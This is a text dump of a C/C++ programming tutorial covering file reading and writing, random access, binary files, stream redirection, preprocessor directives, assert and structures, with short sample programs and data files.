//Reading and writing one line at a time


#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, MAX_LEN = 100};

//function prototype for read and writes by line...


void LineReadWrite(FILE *fin, FILE *fout);

int main(void)
{
FILE *fptr1, *fptr2;
//file testhree.txt is located at the root, c:
//you can put this file at any location provided
//you provide the full path, same for testfour.txt
char filename1[] = "c:\\testhree.txt";
char filename2[] = "c:\\testfour.txt";
char reval = SUCCESS;

//test opening testhree.txt file for writing, if fail...


if((fptr1 = fopen(filename1,"w")) == NULL)

file:///C|/Tutorial.txt (131 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
printf("Problem, cannot open %s for writing.\n", filename1);
reval = FAIL;
}

//test opening testfour.txt file for reading, if fail...


else if((fptr2=fopen(filename2, "r"))==NULL)
{
printf("Problem, cannot open %s for reading.\n", filename2);
reval = FAIL;
}

//if opening fro writing and reading successful, do...


else
{
//function call for read and write, line by line...
LineReadWrite(fptr2, fptr1);
//close both files stream...
if(fclose(fptr1)==0)
printf("%s successfully closed.\n", filename1);
if(fclose(fptr2)==0)
printf("%s successfully closed.\n", filename2);
}
//For Borland screenshot
system("pause");
return reval;
}

//function definition for line read, write…


void LineReadWrite(FILE *fin, FILE *fout)
{
//local variable...
char buff[MAX_LEN];
while(fgets(buff, MAX_LEN, fin) !=NULL)
{
//write to file...
fputs(buff, fout);
//write to screen...
printf("%s", buff);
}
}

-----------------------------------------testsix.txt----------------------------------------------

OPENING, READING AND WRITING ONE BLOCK OF DATA


-----------------------------------------------
This is file testsix.txt. Its content will be
read and then output to the screen/console and
copied to testfive.txt file. The reading and
writing based on block of data. May be this
method is faster compared to read/write by
character, by line.....
-----------------------------------------------
------------------END--------------------------

--------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (132 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Reading and writing one block at a time


#include <stdio.h>
#include <stdlib.h>

//declare enum data type, you will this


//learn in other module...
enum {SUCCESS, FAIL, MAX_LEN = 80};

//function prototype for block reading and writing


void BlockReadWrite(FILE *fin, FILE *fout);
//function prototype for error messages...
int ErrorMsg(char *str);

int main(void)
{
FILE *fptr1, *fptr2;
//define the filenames...
//the files location is at c:\Temp
char filename1[] = "c:\\Temp\\testfive.txt";
char filename2[] = "c:\\Temp\\testsix.txt";
int reval = SUCCESS;

//test opening testfive.txt file for writing, if fail...


if((fptr1 = fopen(filename1, "w")) == NULL)
{
reval = ErrorMsg(filename1);
}

//test opening testsix.txt file for reading, if fail...


else if ((fptr2 = fopen(filename2, "r")) == NULL)
{
reval = ErrorMsg(filename2);
}
//if opening files for writing and reading is successful, do...
else
{
//call function for reading and writing
BlockReadWrite(fptr2, fptr1);
//close both files streams...
if(fclose(fptr1)==0)
printf("%s successfully closed\n", filename1);
if(fclose(fptr2)==0)
printf("%s successfully closed\n", filename2);
}
printf("\n");
//for Borland...
system("pause");
return reval;
}

//function definition for block read, write


void BlockReadWrite(FILE *fin, FILE *fout)
{
int num;
char buff[MAX_LEN + 1];

file:///C|/Tutorial.txt (133 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//while not end of file for input file, do...


while(!feof(fin))
{
//reading...
num = fread(buff, sizeof(char), MAX_LEN, fin);
//append a null character
buff[num * sizeof(char)] = '\0';
printf("%s", buff);
//writing...
fwrite(buff, sizeof(char), num, fout);
}
}

//function definition for error message


int ErrorMsg(char *str)
{
//display the error message...
printf("Problem, cannot open %s.\n", str);
return FAIL;
}

-----------------------------------------tesseven.txt------------------------------------------------------

THIS IS THE FIRST LINE OF TEXT, tesseven.txt file


THIS IS THE SECOND LINE OF TEXT, tesseven.txt file
THIS IS THE THIRD LINE OF TEXT, tesseven.txt file
THIS IS THE FOURTH LINE OF TEXT, tesseven.txt file

------------------------------------------------------------------------------------------------

//Random access to a file


#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, MAX_LEN = 120};

//function prototypes, seek the file position indicator


void PtrSeek(FILE *fptr);
//function prototype, tell the file position indicator…
long PtrTell(FILE *fptr);
//function prototype read and writes…
void DataRead(FILE *fptr);
int ErrorMsg(char *str);

int main(void)
{
FILE *fptr;
char filename[] = "c:\\Temp\\tesseven.txt";
int reval = SUCCESS;

//if there is some error opening file for reading…


if((fptr = fopen(filename, "r")) == NULL)
{
reval = ErrorMsg(filename);
}
//if opening is successful…

file:///C|/Tutorial.txt (134 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

else
{
//PtrSeek() function call…
PtrSeek(fptr);
//close the file stream…
if(fclose(fptr)==0)
printf("%s successfully closed.\n", filename);
}
//for Borland...
system("pause");
return reval;
}

//PtrSeek() function definition


void PtrSeek(FILE *fptr)
{
long offset1, offset2, offset3, offset4;

offset1 = PtrTell(fptr);
DataRead(fptr);
offset2 = PtrTell(fptr);
DataRead(fptr);
offset3 = PtrTell(fptr);
DataRead(fptr);
offset4 = PtrTell(fptr);
DataRead(fptr);

printf("\nReread the tesseven.txt, in random order:\n");


//reread the 2nd line of the tesseven.txt
fseek(fptr, offset2, SEEK_SET);
DataRead(fptr);
//reread the 1st line of the tesseven.txt
fseek(fptr, offset1, SEEK_SET);
DataRead(fptr);
//reread the 4th line of the tesseven.txt
fseek(fptr, offset4, SEEK_SET);
DataRead(fptr);
//reread the 3rd line of the tesseven.txt
fseek(fptr, offset3, SEEK_SET);
DataRead(fptr);
}

//PtrTell() function definition


long PtrTell(FILE *fptr)
{
long reval;
//tell the fptr position…
reval = ftell(fptr);
printf("The fptr is at %ld\n", reval);
return reval;
}

//DataRead() function definition


void DataRead(FILE *fptr)
{
char buff[MAX_LEN];

file:///C|/Tutorial.txt (135 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//reading line of text at the fptr position…


fgets(buff, MAX_LEN, fptr);
//and display the text…
printf("-->%s\n", buff);
}

//Error message function definition


int ErrorMsg(char *str)
{
//display this error message…
printf("Problem, cannot open %s.\n", str);
return FAIL;
}

--------------------------------------------------------------------------------------------

//Reading, writing, rewind and binary data


#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, MAX_NUM = 5};

//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
int ErrorMsg(char *str);

int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "c:\\Temp\\teseight.bin";
int reval = SUCCESS;

//test for creating, opening binary file for writing...


if((fptr = fopen(filename, "wb+")) == NULL)
{
reval = ErrorMsg(filename);
}
else
{
//Write data into file teseight.bin
DataWrite(fptr);
//reset the file position indicator...
rewind(fptr);
//read data...
DataRead(fptr);
//close the file stream...
if(fclose(fptr)==0)
printf("%s successfully closed\n", filename);
}
//for Borland
system("pause");
return reval;
}

file:///C|/Tutorial.txt (136 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//DataWrite() function definition


void DataWrite(FILE *fout)
{
int i;
double buff[MAX_NUM] = { 145.23, 589.69, 122.12, 253.21, 987.234};

printf("The size of buff: %d-byte\n", sizeof(buff));


for(i=0; i<MAX_NUM; i++)
{
printf("%5.2f\n", buff[i]);
fwrite(&buff[i], sizeof(double), 1, fout);
}
}

//DataRead() function definition


void DataRead(FILE *fin)
{
int i;
double x;

printf("\nReread from the binary file:\n");


for(i=0; i<MAX_NUM; i++)
{
fread(&x, sizeof(double), (size_t)1, fin);
printf("%5.2f\n", x);
}
}

//ErrorMsg() function definition


int ErrorMsg(char *str)
{
printf("Cannot open %s.\n", str);
return FAIL;
}

---------------------------------------testcal.txt---------------------------------------

23 12 33 10 4 6 44 31 7 50

-----------------------------------------------------------------------------------------

/*C Program to calculate the average of a list of numbers.*/


/*calculate the total from one file, output the average*/
/*into another file*/
#include <stdio.h>
/*for exit()*/
#include <stdlib.h>

int main(void)
{
int value, total = 0, count = 0;

/*fileptrIn and fileptrOut are variables of type (FILE *)*/


FILE * fileptrIn, * fileptrOut;
char filenameIn[100], filenameOut[100];

file:///C|/Tutorial.txt (137 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("Please enter an input filename (use path if needed):\n");


scanf("%s", filenameIn);
printf("Please enter an output filename (use path if needed):\n");
scanf("%s", filenameOut);

/*open files for reading, "r" and writing, "w"*/


if((fileptrIn = fopen(filenameIn, "r")) == NULL)
{
printf("Error opening %s for reading.\n", filenameIn);
exit (1);
}
else
printf("Opening %s for reading is OK.\n", filenameIn);

if((fileptrOut = fopen(filenameOut, "w")) == NULL)


{
printf("Error opening %s for writing.\n", filenameOut);
exit (1);
}
else
printf("Opening %s for writing is OK.\n", filenameOut);

/*fscanf*/
printf("\nCalculate the total...\n");
while(EOF != fscanf(fileptrIn, "%i", &value))
{
total += value;
++count;
}/*end of while loop*/

/*Write the average value to the file.*/


/*fprintf*/
printf("Calculate the average...\n\n");
fprintf(fileptrOut, "Average of %i numbers = %f \n", count, total/(double)count);
printf("Average of %i numbers = %f \n\n", count, total/(double)count);
printf("Check also your %s file content\n", filenameOut);

if(fclose(fileptrIn) == 0)
printf("%s closed successfully\n", filenameIn);
if(fclose(fileptrOut) == 0)
printf("%s closed successfully\n", filenameOut);
return 0;
}

---------------------------------------------------------------------------------------------

//Redirecting a standard stream


#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, STR_NUM = 6};

void StrPrint(char **str);


int ErrorMsg(char *str);

int main(void)

file:///C|/Tutorial.txt (138 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
//declare and define a pointer to string...
char *str[STR_NUM] = {
"Redirecting a standard stream to the text file.",
"These 5 lines of text will be redirected",
"so many things you can do if you understand the",
"concept, fundamental idea - try this one!",
"--------------DONE--------------------------"};

char filename[] = "c:\\Temp\\testnine.txt";


int reval = SUCCESS;

StrPrint(str);
//create file if not exist and open for writing...
//if exist, discard the previous content...
if(freopen(filename, "w", stdout) == NULL)
{
reval = ErrorMsg(filename);
}
else
{
//call StrPrint() function...
StrPrint(str);
//close the standard output...
fclose(stdout);
}
return reval;
}

//StrPrint() function definition


void StrPrint(char **str)
{
int i;

for(i=0; i<STR_NUM; i++)


//to standard output-screen/console...
printf("%s\n", str[i]);
system("pause");
}

//ErrorMsg() function definition


int ErrorMsg(char *str)
{
printf("Problem, cannot open %s.\n", str);
return FAIL;
}

--------------------------------------------------------------------------------------

//Demonstrate the remove() function


#include <stdio.h>
#include <stdlib.h>

void main()
{
//declare an array to store file name...

file:///C|/Tutorial.txt (139 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

char filename[80];

printf("Enter the filename to be deleted: ");


gets(filename);

//check any error...


if(remove(filename) == 0)
printf("File %s has been deleted.\n", filename);
else
fprintf(stderr, "Error deleting file %s.\n", filename);
system("pause");
}

---------------------------------------------------------------------------------------

//Using rename() to change a filename


#include <stdio.h>
#include <stdlib.h>

void main()
{
char oldname[80], newname[80];

printf("Enter current filename: ");


gets(oldname);
printf("Enter new name for file: ");
gets(newname);

if(rename(oldname, newname) == 0)
{
printf("%s has been rename %s.\n", oldname, newname);
}
else
{
fprintf(stderr, "An error has occurred renaming %s.\n", oldname);
}
system("pause");
}

--------------------------------------------------------------------------------------------

//Copying a file
#include <stdio.h>
#include <stdlib.h>

int file_copy(char *oldname, char *newname);

void main()
{
char source[80], destination[80];

//get the source and destination names


printf("\nEnter source file: ");
gets(source);
printf("\nEnter destination file: ");
gets(destination);

file:///C|/Tutorial.txt (140 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

if(file_copy(source, destination) == 0)
puts("Copy operation successful");
else
fprintf(stderr, "Error during copy operation");
system("pause");
}

int file_copy(char *oldname, char *newname)


{
FILE *fold, *fnew;
int c;

//Open the source file for reading in binary mode


if((fold = fopen(oldname, "rb")) == NULL)
return -1;
//Open the destination file for writing in binary mode
if((fnew = fopen(newname, "wb" )) == NULL)
{
fclose(fold);
return -1;
}

//Read one byte at a time from the source, if end of file


//has not been reached, write the byte to the destination
while(1)
{
c = fgetc(fold);

if(!feof(fold))
fputc(c, fnew);
else
break;
}
fclose(fnew);
fclose(fold);
return 0;
}

-------------------------------testfour.txt------------------------------------

------------------LINUX LOR!------------------------
------------FEDORA 3, gcc x.x.x--------------------
OPENING, READING, WRITING one line of characters
----------------------------------------------------
This is file testfour.txt. This file's content will
be read line by line of characters till no more line
of character found. Then, it will be output to the
screen and also will be copied to file testhree.txt.
Check the content of testhree.txt file...
----------------------------------------------------
------------------HAVE A NICE DAY-------------------

-------------------------------------------------------------------------------

/***************readline.c************

file:///C|/Tutorial.txt (141 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

/*Reading and writing one line at a time*/


#include <stdio.h>
#include <stdlib.h>

enum {SUCCESS, FAIL, MAX_LEN = 100};

/*function prototype for read and writes by line...*/


void LineReadWrite(FILE *fin, FILE *fout);

int main(void)
{
FILE *fptr1, *fptr2;
/*file testhree.txt is located at current directory.
you can put this file at any location provided
you provide the full path, same for testfour.txt*/

char filename1[] = "testhree.txt";


char filename2[] = "testfour.txt";
char reval = SUCCESS;

/*test opening testhree.txt file for writing, if fail...*/


if((fptr1 = fopen(filename1,"w")) == NULL)
{
printf("Problem, cannot open %s for writing.\n", filename1);
reval = FAIL;
}

/*test opening testfour.txt file for reading, if fail...*/


else if((fptr2=fopen(filename2, "r"))==NULL)
{
printf("Problem, cannot open %s for reading.\n", filename2);
reval = FAIL;
}

/*if opening fro writing and reading successful, do...*/


else
{
/*function call for read and write, line by line...*/
LineReadWrite(fptr2, fptr1);
/*close both files stream...*/
if(fclose(fptr1)==0)
printf("%s successfully closed.\n", filename1);
if(fclose(fptr2)==0)
printf("%s successfully closed.\n", filename2);
}
return reval;
}

/*function definition for line read, write.*/


void LineReadWrite(FILE *fin, FILE *fout)
{
/*local variable...*/
char buff[MAX_LEN];
while(fgets(buff, MAX_LEN, fin) !=NULL)
{
/*write to file...*/

file:///C|/Tutorial.txt (142 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

fputs(buff, fout);
/*write to screen...*/
printf("%s", buff);
}
}

----------------------------------------------------------------------------------------------

////////////rwbinary.c///////////
/////FEDORA 3, gcc x.x.x/////
//Reading, writing, rewind and binary data
#include <stdio.h>

enum {SUCCESS, FAIL, MAX_NUM = 5};

//functions prototype...
void DataWrite(FILE *fout);
void DataRead(FILE *fin);
int ErrorMsg(char *str);

int main(void)
{
FILE *fptr;
//binary type files...
char filename[] = "/testo1/testo2/teseight.bin";
int reval = SUCCESS;

//test for creating, opening binary file for writing...


if((fptr = fopen(filename, "wb+")) == NULL)
{
reval = ErrorMsg(filename);
}
else
{
//Write data into file teseight.bin
DataWrite(fptr);
//reset the file position indicator...
rewind(fptr);
//read data...
DataRead(fptr);
//close the file stream...
if(fclose(fptr) == 0)
printf("%s successfully closed\n", filename);
}
return reval;
}

//DataWrite() function definition


void DataWrite(FILE *fout)
{
int i;
double buff[MAX_NUM] = {145.23, 589.69, 122.12, 253.21, 987.234};

printf("The size of buff: %d-byte\n", sizeof(buff));


for(i=0; i<MAX_NUM; i++)
{

file:///C|/Tutorial.txt (143 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%5.2f\n", buff[i]);
fwrite(&buff[i], sizeof(double), 1, fout);
}
}

//DataRead() function definition


void DataRead(FILE *fin)
{
int i;
double x;

printf("\nReread from the binary file:\n");


for(i=0; i<MAX_NUM; i++)
{
fread(&x, sizeof(double), (size_t)1, fin);
printf("%5.2f\n", x);
}
}

//ErrorMsg() function definition


int ErrorMsg(char *str)
{
printf("Cannot open %s.\n", str);
return FAIL;
}

==============================Module10=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...

file:///C|/Tutorial.txt (144 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//For VC++/VC++ .Net, chnage to the following


//headers...change accordingly for other examples
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

#define THREETIMES(x) (x)*(x)*(x)


#define CIRAREA(y) (PI)*(y)*(y)
#define REC(z, a) (z)*(a)
#define PI 3.14159

int main(void)
{
float p = 2.5;
float r = 3.5, s, t, u = 1.5, v = 2.5;

cout<<"Power to three of "<<p<<" is "<<THREETIMES(p)<<endl;


cout<<"Circle circumference = 2*PI*r = "<<(2*PI*r)<<endl;

s = CIRAREA(r+p);
cout<<"Circle area = PI*r*r = "<<s<<endl;

t = REC(u, v);
cout<<"Rectangle area = u*v = "<<t<<endl;
system("pause");
return 0;
}

-------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (145 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#define Module10
#define MyVersion 1.1
#include <iostream.h>
#include <stdlib.h>

int main(void)
{
cout<<"Sample using #define, #ifdef, #ifndef\n";
cout<<" #undef, #else and #endif...\n";
cout<<"-------------------------------------\n";
#ifdef Module10
cout<<"\nModule10 is defined.\n";
#else
cout<<"\nModule10 is not defined.\n";
#endif

#ifndef MyVersion
cout<<"\nMyVersion is not defined\n";
#else
cout<<"\nMyVersion is "<<MyVersion<<endl;
#endif

#ifdef MyRevision
cout<<"\nMy Revision is defined\n"<<endl;
#else
cout<<"\nMyRevision is not defined!\n"<<endl;
#endif

#undef MyVersion
#ifndef MyVersion
cout<<"MyVersion is not defined\n"<<endl;
#else
cout<<"MyVersion is "<<MyVersion<<endl;
#endif
system("pause");
return 0;
}

-------------------------------------------------------------------------------

//Program using the user defined


//header file, boolean.h
#include <iostream.h>
#include <stdlib.h>
//notice this...
#include "boolean.h"

int main(void)
{
//new type stored in boolean.h...
boolean HappyTime;

HappyTime = TRUE;

//if TRUE = 1, do...


if(HappyTime)

file:///C|/Tutorial.txt (146 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"I'm happy today lor!!!"<<endl;


//else, FALSE = 0, do...
else
cout<<"What a bad day...today!!!"<<endl;
system("pause");
return 0;
}

-----------------------------------------------------------------------------

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#if MyVAL != 2
#error MyVAL must be defined to 2
#endif

int main()
{
system("pause");
return 0;
}
//No output, error message during the
//compilation

----------------------------------------------------------------------------

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#define MyVAL 2
#if MyVAL != 2
#error MyVAL must be defined to 2
#endif

int main()
{
system("pause");
return 0;
}
//No output

-------------------------------------------------------------------------

//#error directive...
#include <stdio.h>
#include <stdlib.h>

#if MyChar != 'X'


#error The MyChar character is not 'X'
#endif

int main()
{

file:///C|/Tutorial.txt (147 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}
//No output, with error message during
//the compilation

-------------------------------------------------------------------------

//#pragma directive...
#include <stdio.h>
#include <stdlib.h>

//displays either "You are compiling using


//version xxx of BC++" (where xxx is the version number)
//or "This compiler is not Borland C++", date, time
//console or not... by using several related
//predefined macro such as __DATE__ etc

#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message time: __TIME__.
#pragma message date: __DATE__.
#pragma message Console: __CONSOLE__.

int main()
{
system("pause");
return 0;
}
//No output

------------------------------------------------------------------------

//#pragma directive...
#include <stdio.h>
#include <stdlib.h>

//displays either "You are compiling using


//version xxx of BC++" (where xxx is the version number)
//or "This compiler is not Borland C++", date, time
//console or not... by using several related
//predefined macro such as __DATE__ etc

#ifdef __BORLANDC__
#pragma message You are compiling using Borland C++ version __BORLANDC__.
#else
#pragma message ("This compiler is not Borland C++")
#endif
#pragma message ("time:" __TIMESTAMP__)
#pragma message ("date:" __DATE__)
#pragma message ("file:" __FILE__)

int main()

file:///C|/Tutorial.txt (148 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
system("pause");
return 0;
}

----------------------------------------------------------------------

//#pragma directives...
#include <stdio.h>

#if _M_IX86 != 500


#pragma message("Non Pentium processor build")
#endif

#if _M_IX86 == 600


#pragma message("but Pentium II above processor build")
#endif

#pragma message("Compiling " __FILE__)


#pragma message("Last modified on " __TIMESTAMP__)

int main()
{
return 0;
}

---------------------------------------------------------------------

#include <stdio.h>
#include <stdlib.h>
#define HELLO(x) printf("Hello, " #x "\n");
#define SHOWFUNC(x) Use ## Func ## x

int main(void)
{
//new concatenated identifier, UseFuncOne
char * SHOWFUNC(One);
//new concatenated identifier, UseFuncTwo
char * SHOWFUNC(Two);

SHOWFUNC(One) = "New name, UseFuncOne";


SHOWFUNC(Two) = "New name, UseFuncTwo";

HELLO(Birch);
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(One));
printf("SHOWFUNC(One) -> %s \n",SHOWFUNC(Two));
system("pause");
return 0;
}

------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

int main(void)

file:///C|/Tutorial.txt (149 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
cout<<"Let test the free macros, standard and compiler specific..."<<endl;
cout<<"\nPredefined macro __LINE__ : "<<__LINE__<<endl;
cout<<"Predefined macro __FILE__ : "<<__FILE__<<endl;
cout<<"Predefined macro __TIME__ : "<<__TIME__<<endl;
cout<<"Predefined macro __DATE__ : "<<__DATE__<<endl;
cout<<"Some compiler specific __MSDOS__: "<<__MSDOS__<<endl;
cout<<"Some compiler specific __BORLANDC__: "<<__BORLANDC__<<endl;
cout<<"Some compiler specific __BCPLUSPLUS__: "<<__BCPLUSPLUS__<<endl;

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------------

#include <stdio.h>
#include <assert.h>
#include <string.h>

void TestString(char *string);

void main()
{
//first test array of char, 10 characters...
//should be OK for the 3 test conditions...
char test1[] = "abcdefghij";
//second test pointer to string, 9 characters...
//should be OK for the 3 test conditions...
char *test2 = "123456789";
//third test array char, empty...
//should fail on the 3rd condition, cannot be empty...
char test3[] = "";

printf("Testing the string #1 \"%s\"\n", test1);


TestString(test1);
printf("Testing the string #2 \"%s\"\n", test2);
TestString(test2);
printf("Testing the string #3 \"%s\"\n", test3);
TestString(test3);
}

void TestString(char * string)


{

//set the test conditions...


//string must more than 8 characters...
assert(strlen(string) > 8);
//string cannot be NULL
assert(string != NULL);
//string cannot be empty....
//test3 should fail here and program abort...
assert(string != '\0');
}

------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (150 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//assert macro and DEBUG, NDEBUG


//NDEBUG will disable assert().
//DEBUG will enable assert().
#define DEBUG
#include <stdlib.h>
#include <iostream.h>
#include <assert.h>

int main()
{
int x, y;

//Tell user if NDEBUG is defined and do assert.


#if defined(NDEBUG)
cout<<"NDEBUG is defined. Assert disabled,\n";
#else
cout<<"NDEBUG is not defined. Assert enabled.\n";
#endif

//prompt user some test data...


cout<<"Insert two integers: ";
cin>>x>>y;
cout<<"Do the assert(x < y)\n";

//if x < y, it is OK, else this program will terminate...


assert(x < y);
if(x<y)
{
cout<<"Assertion not invoked because "<<x<<" < "<<y<<endl;
cout<<"Try key in x > y, assertion will be invoked!"<<endl;
}
else
cout<<"Assertion invoked, program terminated!"<<endl;
system("pause");
return 0;
}

--------------------------------gcc----------------------------------------

////////testassert.cpp/////////
//DEBUG will enable assert().
#define DEBUG
#include <iostream>
#include <cassert>
using namespace std;

int main()
{
int x, y;

//Tell user if NDEBUG is defined and do assert.


#if defined(NDEBUG)
cout<<"NDEBUG is defined. Assert disabled,\n";
#else
cout<<"NDEBUG is not defined. Assert enabled.\n";

file:///C|/Tutorial.txt (151 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#endif

//prompt user some test data...


cout<<"Insert two integers: ";
cin>>x>>y;
cout<<"Do the assert(x < y)\n";

//if x < y, it is OK, else this program will terminate...


assert(x < y);
if(x<y)
{
cout<<"Assertion not invoked because "<<x<<" < "<<y<<endl;
cout<<"Try key in x > y, assertion will be invoked!"<<endl;
}
else
cout<<"Assertion invoked, program terminated!"<<endl;
return 0;
}

==============================MODULE11=====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>

file:///C|/Tutorial.txt (152 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//A simple structure program example


#include <stdio.h>
#include <stdlib.h>

struct student{
char id_num[6];
char name[11];
char gender;
int age;
};

int main(void)
{
struct student studno_1;

//studno_1.id_num = "A3214"; //Illegal, const char to char[]


//studno_1.name = "Smith"; //Illegal, const char to char[]
printf("Enter student ID num (5 max): ");
scanf("%s", studno_1.id_num);
printf("Enter student name (10 max): ");
scanf("%s", studno_1.name);
studno_1.gender = 'M';
studno_1.age = 30;

printf("\n------------------\n");
printf("ID number: %s\n", studno_1.id_num);
printf("Name : %s\n", studno_1.name);
printf("Gender : %c\n", studno_1.gender);
printf("Age : %d\n", studno_1.age);
printf("------------------\n");
system("pause");
return 0;
}

---------------------------------------------------------------------------

//accessing structure element. Change the


//header files accordingly for VC++/VC++ .Net
//#include <iostream>
//#include <cstdlib>

file:///C|/Tutorial.txt (153 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//using namespace std;

#include <iostream.h>
#include <stdlib.h>

struct Card
{
char *face; //pointer to char type
char *suit; //pointer to char type
};

void main()
{
//declare the struct type variables
struct Card p;
struct Card *SPtr;

p.face = "Ace";
p.suit = "Spades";
SPtr = &p;

cout<<"Accessing structure element:\n";


cout<<"\n\'SPtr->suit\' = "<<SPtr->suit<<endl;
cout<<"\'SPtr->face\' = "<<SPtr->face<<endl;
//for Borland...
system("pause");
}

-------------------------------------------------------------------------------------------------------

//Using the structure member and structure


//pointer operators – accessing structure
//elements styles...
#include <iostream.h>
#include <stdlib.h>

struct Card
{
char *face;
char *suit;
};

int main()
{
struct Card p;
struct Card *SPtr;

p.face = "Ace";
p.suit = "Spades";
SPtr = &p;

cout<<"Accessing structure element styles"<<endl;


cout<<"----------------------------------"<<endl;
cout<<"Style #1-use p.face: "<<p.face<<" of "<<p.suit<<endl;
cout<<"Style #2-use Sptr->face: "<<SPtr->face<<" of "<<SPtr->suit<<endl;
cout<<"Style #3-use (*Sptr).face: "<<(*SPtr).face<<" of "<<(*SPtr).suit<<endl;

file:///C|/Tutorial.txt (154 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------

//an array structure of student information


#include <iostream.h>
#include <stdlib.h>
//for C++ replace to the following header
//#include <iostream>
//#include <cstdlib>
//using namespace std;

struct student
{
char id[6]; //student id number, max. 5 integer number
char name[50]; //student name, max 49 characters
char gender; //student gender Male or Female
int age; //student age
};

void main()
{
//declaring array of 10 element of structure type
//and some of the element also are arrays
struct student stud[10];
int i = 0;

cout<<"Keying in student data and then display\n";


cout<<"---------------------------------------\n";
cout<<"Enter student data\n";

for(i=0; i<2; i++)


{
//Storing the data
cout<<"\nID number (4 integer number) student #"<<i<<": ";
cin>>stud[i].id;
cout<<"First name student #"<<i<<": ";
cin>>stud[i].name;
cout<<"Gender (M or F) student #"<<i<<": ";
cin>>stud[i].gender;
cout<<"Age student #"<<i<<": ";
cin>>stud[i].age;
}

cout<<"\n----------Display the data---------\n";


cout<<"You can see that the data storage\n";
cout<<"has been reserved for the structure!\n";
cout<<"------------------------------------\n";
